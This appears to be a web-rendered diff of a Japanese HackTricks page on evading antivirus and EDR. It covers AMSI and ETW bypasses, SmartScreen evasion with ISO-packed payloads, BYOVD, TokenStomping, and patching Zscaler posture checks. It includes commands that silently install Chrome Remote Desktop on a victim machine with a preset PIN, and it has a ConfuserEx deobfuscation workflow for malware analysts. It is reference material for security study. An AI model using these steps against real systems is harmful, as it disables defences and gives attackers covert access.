- **PowerShell バージョン 2 を使用する**: PowerShell バージョン 2 を使用すると、AMSI がロードされないため、AMSI によるスキャンなしでスクリプトを実行できます。これを行うには: `powershell.exe -version 2`
 | 
			
		||||
- **管理されていない PowerShell セッションを使用する**: [https://github.com/leechristensen/UnmanagedPowerShell](https://github.com/leechristensen/UnmanagedPowerShell) を使用して、防御なしで PowerShell を起動します(これは Cobalt Strike の `powerpick` が使用するものです)。
 | 
			
		||||
 | 
			
		||||
## Obfuscation
 | 
			
		||||
@ -226,16 +228,50 @@ PowerShell ロギングをバイパスするには、以下の技術を使用で
 | 
			
		||||
> [!TIP]
 | 
			
		||||
> いくつかの難読化技術はデータを暗号化することに依存しており、これによりバイナリのエントロピーが増加し、AV や EDR による検出が容易になります。これに注意し、機密性が高いか隠す必要があるコードの特定のセクションにのみ暗号化を適用することをお勧めします。
 | 
			
		||||
 | 
			
		||||
C# のクリアテキストコードを**難読化**したり、バイナリをコンパイルするための**メタプログラミングテンプレート**を生成したり、**コンパイルされたバイナリを難読化**するために使用できるツールはいくつかあります:
 | 
			
		||||
### Deobfuscating ConfuserEx-Protected .NET Binaries
 | 
			
		||||
 | 
			
		||||
- [**ConfuserEx**](https://github.com/yck1509/ConfuserEx): .NET アプリケーション用の優れたオープンソースの難読化ツールです。制御フローの難読化、アンチデバッグ、アンチ改ざん、文字列暗号化など、さまざまな保護技術を提供します。特定のコードのチャンクを難読化することも可能なため、お勧めです。
 | 
			
		||||
- [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# 難読化ツール**
 | 
			
		||||
- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): このプロジェクトの目的は、[LLVM](http://www.llvm.org/) コンパイルスイートのオープンソースフォークを提供し、[コードの難読化](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) と改ざん防止を通じてソフトウェアのセキュリティを向上させることです。
 | 
			
		||||
- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator は、`C++11/14` 言語を使用して、外部ツールを使用せず、コンパイラを変更することなく、コンパイル時に難読化されたコードを生成する方法を示しています。
 | 
			
		||||
- [**obfy**](https://github.com/fritzone/obfy): C++ テンプレートメタプログラミングフレームワークによって生成された難読化された操作のレイヤーを追加し、アプリケーションをクラッキングしようとする人の生活を少し難しくします。
 | 
			
		||||
- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz は、.exe、.dll、.sys など、さまざまな異なる pe ファイルを難読化できる x64 バイナリ難読化ツールです。
 | 
			
		||||
ConfuserEx 2(または商業フォーク)を使用するマルウェアを分析する際には、デコンパイラやサンドボックスをブロックする複数の保護層に直面することが一般的です。以下のワークフローは、信頼性の高い**ほぼ元の IL を復元**し、その後 dnSpy や ILSpy などのツールで C# にデコンパイルできます。
 | 
			
		||||
 | 
			
		||||
1.  アンチタムパリングの削除 – ConfuserEx はすべての*メソッドボディ*を暗号化し、*モジュール*の静的コンストラクタ(`<Module>.cctor`)内で復号化します。これにより PE チェックサムもパッチされるため、変更が加えられるとバイナリがクラッシュします。**AntiTamperKiller**を使用して暗号化されたメタデータテーブルを特定し、XOR キーを回復し、クリーンなアセンブリを書き換えます:
 | 
			
		||||
```bash
 | 
			
		||||
# https://github.com/wwh1004/AntiTamperKiller
 | 
			
		||||
python AntiTamperKiller.py Confused.exe Confused.clean.exe
 | 
			
		||||
```
 | 
			
		||||
出力には、独自のアンパッカーを構築する際に役立つ可能性のある 6 つのアンチタムパラメータ(`key0-key3`、`nameHash`、`internKey`)が含まれています。
 | 
			
		||||
 | 
			
		||||
2.  シンボル / 制御フローの回復 – *クリーン*ファイルを **de4dot-cex**(ConfuserEx 対応の de4dot フォーク)に渡します。
 | 
			
		||||
```bash
 | 
			
		||||
de4dot-cex -p crx Confused.clean.exe -o Confused.de4dot.exe
 | 
			
		||||
```
 | 
			
		||||
フラグ:
 | 
			
		||||
• `-p crx` – ConfuserEx 2 プロファイルを選択
 | 
			
		||||
• de4dot は制御フローのフラット化を元に戻し、元の名前空間、クラス、変数名を復元し、定数文字列を復号化します。
 | 
			
		||||
 | 
			
		||||
3.  プロキシコールの除去 – ConfuserEx は直接メソッド呼び出しを軽量ラッパー(別名*プロキシコール*)に置き換えて、デコンパイルをさらに妨げます。**ProxyCall-Remover**を使用してそれらを削除します:
 | 
			
		||||
```bash
 | 
			
		||||
ProxyCall-Remover.exe Confused.de4dot.exe Confused.fixed.exe
 | 
			
		||||
```
 | 
			
		||||
このステップの後、`Convert.FromBase64String` や `AES.Create()` などの通常の .NET API が観察されるはずです(不透明なラッパー関数(`Class8.smethod_10` など)ではなく)。
 | 
			
		||||
 | 
			
		||||
4.  手動クリーンアップ – 結果のバイナリを dnSpy で実行し、大きな Base64 ブロブや `RijndaelManaged` / `TripleDESCryptoServiceProvider` の使用を検索して*本当の*ペイロードを特定します。多くの場合、マルウェアはそれを `<Module>.byte_0` 内で初期化された TLV エンコードされたバイト配列として保存します。
 | 
			
		||||
 | 
			
		||||
上記のチェーンは、悪意のあるサンプルを実行することなく実行フローを復元します – オフラインワークステーションで作業する際に便利です。
 | 
			
		||||
 | 
			
		||||
> 🛈  ConfuserEx は `ConfusedByAttribute` というカスタム属性を生成し、これは IOC として使用してサンプルを自動的にトリアージすることができます。
 | 
			
		||||
 | 
			
		||||
#### One-liner
 | 
			
		||||
```bash
 | 
			
		||||
autotok.sh Confused.exe  # wrapper that performs the 3 steps above sequentially
 | 
			
		||||
```
 | 
			
		||||
---
 | 
			
		||||
 | 
			
		||||
- [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# オブファスケーター**
 | 
			
		||||
- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): このプロジェクトの目的は、[LLVM](http://www.llvm.org/) コンパイルスイートのオープンソースフォークを提供し、[コードオブファスケーション](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) と改ざん防止を通じてソフトウェアのセキュリティを向上させることです。
 | 
			
		||||
- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator は、`C++11/14` 言語を使用して、外部ツールを使用せず、コンパイラを変更することなく、コンパイル時にオブファスケートされたコードを生成する方法を示しています。
 | 
			
		||||
- [**obfy**](https://github.com/fritzone/obfy): C++ テンプレートメタプログラミングフレームワークによって生成されたオブファスケートされた操作のレイヤーを追加し、アプリケーションをクラッキングしようとする人の生活を少し難しくします。
 | 
			
		||||
- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz は、.exe、.dll、.sys などのさまざまな pe ファイルをオブファスケートできる x64 バイナリオブファスケーターです。
 | 
			
		||||
- [**metame**](https://github.com/a0rtega/metame): Metame は、任意の実行可能ファイル用のシンプルなメタモルフィックコードエンジンです。
 | 
			
		||||
- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator は、ROP(リターン指向プログラミング)を使用して LLVM 対応言語のための細粒度のコード難読化フレームワークです。ROPfuscator は、通常の制御フローの概念を妨害するために、通常の命令を ROP チェーンに変換することによって、アセンブリコードレベルでプログラムを難読化します。
 | 
			
		||||
- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator は、ROP(リターン指向プログラミング)を使用して LLVM 対応言語のための細粒度のコードオブファスケーションフレームワークです。ROPfuscator は、通常の命令を ROP チェーンに変換することによって、アセンブリコードレベルでプログラムをオブファスケートし、通常の制御フローの自然な概念を妨げます。
 | 
			
		||||
- [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt は、Nim で書かれた .NET PE Crypter です。
 | 
			
		||||
- [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor は、既存の EXE/DLL をシェルコードに変換し、それをロードすることができます。
 | 
			
		||||
 | 
			
		||||
@ -249,14 +285,14 @@ Microsoft Defender SmartScreen は、潜在的に悪意のあるアプリケー
 | 
			
		||||
 | 
			
		||||
SmartScreen は主に評判ベースのアプローチで機能し、一般的でないダウンロードアプリケーションが SmartScreen をトリガーし、エンドユーザーがファイルを実行するのを警告し防止します(ただし、ファイルは「詳細情報」->「それでも実行」をクリックすることで実行できます)。
 | 
			
		||||
 | 
			
		||||
**MoTW**(Mark of The Web)は、インターネットからファイルをダウンロードすると自動的に作成される[NTFS Alternate Data Stream](<https://en.wikipedia.org/wiki/NTFS#Alternate_data_stream_(ADS)>) で、Zone.Identifier という名前が付けられ、ダウンロード元の URL とともに作成されます。
 | 
			
		||||
**MoTW**(Mark of The Web)は、インターネットからファイルをダウンロードする際に自動的に作成される[NTFS Alternate Data Stream](<https://en.wikipedia.org/wiki/NTFS#Alternate_data_stream_(ADS)>) で、Zone.Identifier という名前が付けられ、ダウンロード元の URL と共に作成されます。
 | 
			
		||||
 | 
			
		||||
<figure><img src="../images/image (237).png" alt=""><figcaption><p>インターネットからダウンロードしたファイルの Zone.Identifier ADS を確認しています。</p></figcaption></figure>
 | 
			
		||||
 | 
			
		||||
> [!TIP]
 | 
			
		||||
> **信頼された**署名証明書で署名された実行可能ファイルは、**SmartScreen をトリガーしない**ことに注意することが重要です。
 | 
			
		||||
 | 
			
		||||
ペイロードが Mark of The Web を取得するのを防ぐ非常に効果的な方法は、それらを ISO のようなコンテナにパッケージ化することです。これは、Mark-of-the-Web (MOTW) **が** **非 NTFS** ボリュームに適用できないためです。
 | 
			
		||||
ペイロードが Mark of The Web を取得するのを防ぐ非常に効果的な方法は、ISO のようなコンテナ内にパッケージ化することです。これは、Mark-of-the-Web (MOTW) が **非 NTFS** ボリュームに適用できないためです。
 | 
			
		||||
 | 
			
		||||
<figure><img src="../images/image (640).png" alt=""><figcaption></figcaption></figure>
 | 
			
		||||
 | 
			
		||||
@ -284,15 +320,15 @@ Adding file: /TotallyLegitApp.exe
 | 
			
		||||
 | 
			
		||||
[+] Generated file written to (size: 3420160): container.iso
 | 
			
		||||
```
 | 
			
		||||
スマートスクリーンをバイパスするデモで、ペイロードをISOファイル内にパッケージ化する方法を示します。[PackMyPayload](https://github.com/mgeeky/PackMyPayload/)を使用しています。
 | 
			
		||||
ここでは、[PackMyPayload](https://github.com/mgeeky/PackMyPayload/)を使用してペイロードをISOファイル内にパッケージ化することでSmartScreenをバイパスするデモを示します。
 | 
			
		||||
 | 
			
		||||
<figure><img src="../images/packmypayload_demo.gif" alt=""><figcaption></figcaption></figure>
 | 
			
		||||
 | 
			
		||||
## ETW
 | 
			
		||||
 | 
			
		||||
Windowsのイベントトレーシング(ETW)は、アプリケーションやシステムコンポーネントが**イベントをログ**するための強力なロギングメカニズムです。しかし、セキュリティ製品が悪意のある活動を監視および検出するためにも使用される可能性があります。
 | 
			
		||||
Windowsのイベントトレース(ETW)は、アプリケーションやシステムコンポーネントが**イベントをログ**することを可能にする強力なログメカニズムです。しかし、セキュリティ製品が悪意のある活動を監視し検出するためにも使用される可能性があります。
 | 
			
		||||
 | 
			
		||||
AMSIが無効化(バイパス)されるのと同様に、ユーザースペースプロセスの**`EtwEventWrite`**関数を即座に戻すことも可能で、イベントをログしないようにできます。これは、メモリ内の関数をパッチして即座に戻すことで行われ、プロセスのETWロギングを実質的に無効にします。
 | 
			
		||||
AMSIが無効化(バイパス)されるのと同様に、ユーザースペースプロセスの**`EtwEventWrite`**関数を即座に戻すことも可能で、イベントをログに記録しないようにできます。これは、メモリ内の関数をパッチして即座に戻すことで行われ、実質的にそのプロセスのETWログを無効にします。
 | 
			
		||||
 | 
			
		||||
詳細については、**[https://blog.xpnsec.com/hiding-your-dotnet-etw/](https://blog.xpnsec.com/hiding-your-dotnet-etw/) および [https://github.com/repnz/etw-providers-docs/](https://github.com/repnz/etw-providers-docs/)**を参照してください。
 | 
			
		||||
 | 
			
		||||
@ -302,38 +338,38 @@ C#バイナリをメモリにロードすることはかなり前から知られ
 | 
			
		||||
 | 
			
		||||
ペイロードはディスクに触れずに直接メモリにロードされるため、プロセス全体のAMSIをパッチすることだけを心配すればよいです。
 | 
			
		||||
 | 
			
		||||
ほとんどのC2フレームワーク(sliver、Covenant、metasploit、CobaltStrike、Havocなど)は、すでにC#アセンブリをメモリ内で直接実行する機能を提供していますが、異なる方法があります:
 | 
			
		||||
ほとんどのC2フレームワーク(sliver、Covenant、metasploit、CobaltStrike、Havocなど)は、すでにC#アセンブリをメモリ内で直接実行する機能を提供していますが、いくつかの方法があります:
 | 
			
		||||
 | 
			
		||||
- **Fork&Run**
 | 
			
		||||
 | 
			
		||||
これは**新しい犠牲プロセスを生成し**、その新しいプロセスにポストエクスプロイトの悪意のあるコードを注入し、悪意のあるコードを実行し、終了したら新しいプロセスを終了させることを含みます。これには利点と欠点があります。フォークと実行の方法の利点は、実行が**私たちのビーコンインプラントプロセスの外部**で行われることです。これは、ポストエクスプロイトアクションで何かがうまくいかない場合や捕まった場合、**私たちのインプラントが生き残る可能性がはるかに高い**ことを意味します。欠点は、**行動検出**によって捕まる可能性が**高くなる**ことです。
 | 
			
		||||
これは**新しい犠牲プロセスを生成し**、その新しいプロセスにポストエクスプロイトの悪意のあるコードを注入し、悪意のあるコードを実行し、終了したら新しいプロセスを終了させることを含みます。これには利点と欠点があります。フォークと実行の方法の利点は、実行が**私たちのビーコンインプラントプロセスの外部**で行われることです。これは、ポストエクスプロイトアクションで何かがうまくいかない場合や捕まった場合、**インプラントが生き残る可能性がはるかに高くなる**ことを意味します。欠点は、**行動検出**によって捕まる可能性が**高くなる**ことです。
 | 
			
		||||
 | 
			
		||||
<figure><img src="../images/image (215).png" alt=""><figcaption></figcaption></figure>
 | 
			
		||||
 | 
			
		||||
- **インライン**
 | 
			
		||||
 | 
			
		||||
これは、ポストエクスプロイトの悪意のあるコードを**自分のプロセスに注入する**ことです。この方法では、新しいプロセスを作成してAVによってスキャンされるのを避けることができますが、欠点は、ペイロードの実行に何か問題が発生した場合、**ビーコンを失う可能性がはるかに高くなる**ことです。
 | 
			
		||||
これは、ポストエクスプロイトの悪意のあるコードを**自分のプロセスに注入する**ことです。この方法では、新しいプロセスを作成してAVによるスキャンを受ける必要がなくなりますが、欠点は、ペイロードの実行に何か問題が発生した場合、**ビーコンを失う可能性がはるかに高くなる**ことです。
 | 
			
		||||
 | 
			
		||||
<figure><img src="../images/image (1136).png" alt=""><figcaption></figcaption></figure>
 | 
			
		||||
 | 
			
		||||
> [!TIP]
 | 
			
		||||
> C#アセンブリのロードについてもっと知りたい場合は、この記事[https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/)とそのInlineExecute-Assembly BOFをチェックしてください。[https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly)
 | 
			
		||||
> C#アセンブリのロードについてもっと知りたい場合は、この記事[https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/)とそのInlineExecute-Assembly BOFをチェックしてください([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))。
 | 
			
		||||
 | 
			
		||||
C#アセンブリを**PowerShellからロード**することもできます。 [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader)と[S3cur3th1sSh1tのビデオ](https://www.youtube.com/watch?v=oe11Q-3Akuk)を確認してください。
 | 
			
		||||
また、C#アセンブリを**PowerShellからロードする**こともできます。 [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader)と[S3cur3th1sSh1tのビデオ](https://www.youtube.com/watch?v=oe11Q-3Akuk)を確認してください。
 | 
			
		||||
 | 
			
		||||
## 他のプログラミング言語の使用
 | 
			
		||||
 | 
			
		||||
[**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins)で提案されているように、妥協されたマシンに**攻撃者が制御するSMB共有にインストールされたインタプリタ環境へのアクセスを与える**ことで、他の言語を使用して悪意のあるコードを実行することが可能です。
 | 
			
		||||
 | 
			
		||||
インタプリタバイナリとSMB共有上の環境へのアクセスを許可することで、妥協されたマシンの**メモリ内でこれらの言語の任意のコードを実行**できます。
 | 
			
		||||
インタプリタバイナリとSMB共有上の環境へのアクセスを許可することで、妥協されたマシンの**メモリ内でこれらの言語の任意のコードを実行する**ことができます。
 | 
			
		||||
 | 
			
		||||
リポジトリは次のように示しています:Defenderはスクリプトをスキャンし続けますが、Go、Java、PHPなどを利用することで、**静的シグネチャをバイパスする柔軟性が高まります**。これらの言語でランダムな非難読化リバースシェルスクリプトをテストした結果、成功が確認されています。
 | 
			
		||||
リポジトリは次のように示しています:Defenderはスクリプトをスキャンし続けますが、Go、Java、PHPなどを利用することで、**静的シグネチャをバイパスする柔軟性が増します**。これらの言語でランダムな非難読化リバースシェルスクリプトをテストした結果、成功が確認されています。
 | 
			
		||||
 | 
			
		||||
## トークンスタンピング
 | 
			
		||||
## TokenStomping
 | 
			
		||||
 | 
			
		||||
トークンスタンピングは、攻撃者が**アクセス トークンやEDRやAVのようなセキュリティ製品を操作**し、プロセスが終了しないように権限を減少させることを可能にする技術です。
 | 
			
		||||
トークンストンピングは、攻撃者が**アクセス トークンやEDRやAVのようなセキュリティ製品を操作する**ことを可能にする技術で、プロセスが終了しないように権限を減少させることができますが、悪意のある活動をチェックする権限は持たなくなります。
 | 
			
		||||
 | 
			
		||||
これを防ぐために、Windowsは**外部プロセスがセキュリティプロセスのトークンにハンドルを取得するのを防ぐ**ことができます。
 | 
			
		||||
これを防ぐために、Windowsは**外部プロセスがセキュリティプロセスのトークンにハンドルを取得することを防ぐ**ことができます。
 | 
			
		||||
 | 
			
		||||
- [**https://github.com/pwn1sher/KillDefender/**](https://github.com/pwn1sher/KillDefender/)
 | 
			
		||||
- [**https://github.com/MartinIngesen/TokenStomp**](https://github.com/MartinIngesen/TokenStomp)
 | 
			
		||||
@ -347,15 +383,15 @@ C#アセンブリを**PowerShellからロード**することもできます。
 | 
			
		||||
1. https://remotedesktop.google.com/からダウンロードし、「SSH経由で設定」をクリックし、次にWindows用のMSIファイルをクリックしてMSIファイルをダウンロードします。
 | 
			
		||||
2. 被害者のPCでインストーラーをサイレントで実行します(管理者権限が必要):`msiexec /i chromeremotedesktophost.msi /qn`
 | 
			
		||||
3. Chromeリモートデスクトップのページに戻り、次へ進みます。ウィザードが認証を求めてきますので、続行するには「承認」ボタンをクリックします。
 | 
			
		||||
4. 指定されたパラメータをいくつかの調整を加えて実行します:`"%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe" --code="YOUR_UNIQUE_CODE" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=%COMPUTERNAME% --pin=111111`(GUIを使用せずにPINを設定できるpinパラメータに注意してください)。
 | 
			
		||||
4. 指定されたパラメータをいくつかの調整を加えて実行します:`"%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe" --code="YOUR_UNIQUE_CODE" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=%COMPUTERNAME% --pin=111111`(GUIを使用せずにピンを設定できるpinパラメータに注意してください)。
 | 
			
		||||
 | 
			
		||||
## 高度な回避
 | 
			
		||||
 | 
			
		||||
回避は非常に複雑なトピックであり、時には1つのシステム内の多くの異なるテレメトリソースを考慮する必要があるため、成熟した環境では完全に検出されない状態を維持することはほぼ不可能です。
 | 
			
		||||
 | 
			
		||||
対抗する環境にはそれぞれ独自の強みと弱みがあります。
 | 
			
		||||
対抗する環境はそれぞれ独自の強みと弱みを持っています。
 | 
			
		||||
 | 
			
		||||
[@ATTL4S](https://twitter.com/DaniLJ94)のこのトークを視聴することを強くお勧めします。より高度な回避技術についての足がかりを得るためです。
 | 
			
		||||
[@ATTL4S](https://twitter.com/DaniLJ94)のこのトークをぜひご覧ください。より高度な回避技術についての足がかりを得ることができます。
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo
 | 
			
		||||
@ -619,10 +655,10 @@ CloseHandle(hDrv);
 | 
			
		||||
return 0;
 | 
			
		||||
}
 | 
			
		||||
```
 | 
			
		||||
4. **なぜ機能するのか**: BYOVDはユーザーモードの保護を完全にスキップします。カーネル内で実行されるコードは*保護された*プロセスを開いたり、それらを終了させたり、PPL/PP、ELAMまたは他のハードニング機能に関係なくカーネルオブジェクトを改ざんすることができます。
 | 
			
		||||
4. **なぜ機能するのか**: BYOVDはユーザーモードの保護を完全にスキップします。カーネル内で実行されるコードは*保護された*プロセスを開いたり、それを終了させたり、PPL/PP、ELAMまたは他のハードニング機能に関係なくカーネルオブジェクトを改ざんすることができます。
 | 
			
		||||
 | 
			
		||||
検出 / 緩和
 | 
			
		||||
• Microsoftの脆弱ドライバブロックリスト(`HVCI`, `Smart App Control`)を有効にして、Windowsが`AToolsKrnl64.sys`をロードしないようにします。
 | 
			
		||||
• Microsoftの脆弱ドライバブロックリスト(`HVCI`, `Smart App Control`)を有効にして、Windowsが`AToolsKrnl64.sys`のロードを拒否するようにします。
 | 
			
		||||
• 新しい*カーネル*サービスの作成を監視し、ドライバが世界書き込み可能なディレクトリからロードされた場合や許可リストに存在しない場合に警告します。
 | 
			
		||||
• カスタムデバイスオブジェクトへのユーザーモードハンドルを監視し、その後に疑わしい`DeviceIoControl`呼び出しが続くのを見守ります。
 | 
			
		||||
 | 
			
		||||
@ -656,9 +692,9 @@ else:
 | 
			
		||||
f.seek(off)
 | 
			
		||||
f.write(replacement)
 | 
			
		||||
```
 | 
			
		||||
オリジナルファイルを置き換え、サービススタックを再起動した後:
 | 
			
		||||
元のファイルを置き換え、サービススタックを再起動した後:
 | 
			
		||||
 | 
			
		||||
* **すべての** ポスチャーチェックが **緑/準拠** と表示されます。
 | 
			
		||||
* **すべての** ポスチャーチェックが **緑/準拠** を表示します。
 | 
			
		||||
* 署名されていないまたは変更されたバイナリが、名前付きパイプRPCエンドポイント(例: `\\RPC Control\\ZSATrayManager_talk_to_me`)を開くことができます。
 | 
			
		||||
* 侵害されたホストは、Zscalerポリシーによって定義された内部ネットワークへの無制限のアクセスを得ます。
 | 
			
		||||
 | 
			
		||||
@ -666,7 +702,8 @@ f.write(replacement)
 | 
			
		||||
 | 
			
		||||
## 参考文献
 | 
			
		||||
 | 
			
		||||
- [Unit42 – New Infection Chain and ConfuserEx-Based Obfuscation for DarkCloud Stealer](https://unit42.paloaltonetworks.com/new-darkcloud-stealer-infection-chain/)
 | 
			
		||||
- [Synacktiv – Should you trust your zero trust? Bypassing Zscaler posture checks](https://www.synacktiv.com/en/publications/should-you-trust-your-zero-trust-bypassing-zscaler-posture-checks.html)
 | 
			
		||||
 | 
			
		||||
- [Check Point Research – Before ToolShell: Exploring Storm-2603’s Previous Ransomware Operations](https://research.checkpoint.com/2025/before-toolshell-exploring-storm-2603s-previous-ransomware-operations/)
 | 
			
		||||
 | 
			
		||||
{{#include ../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user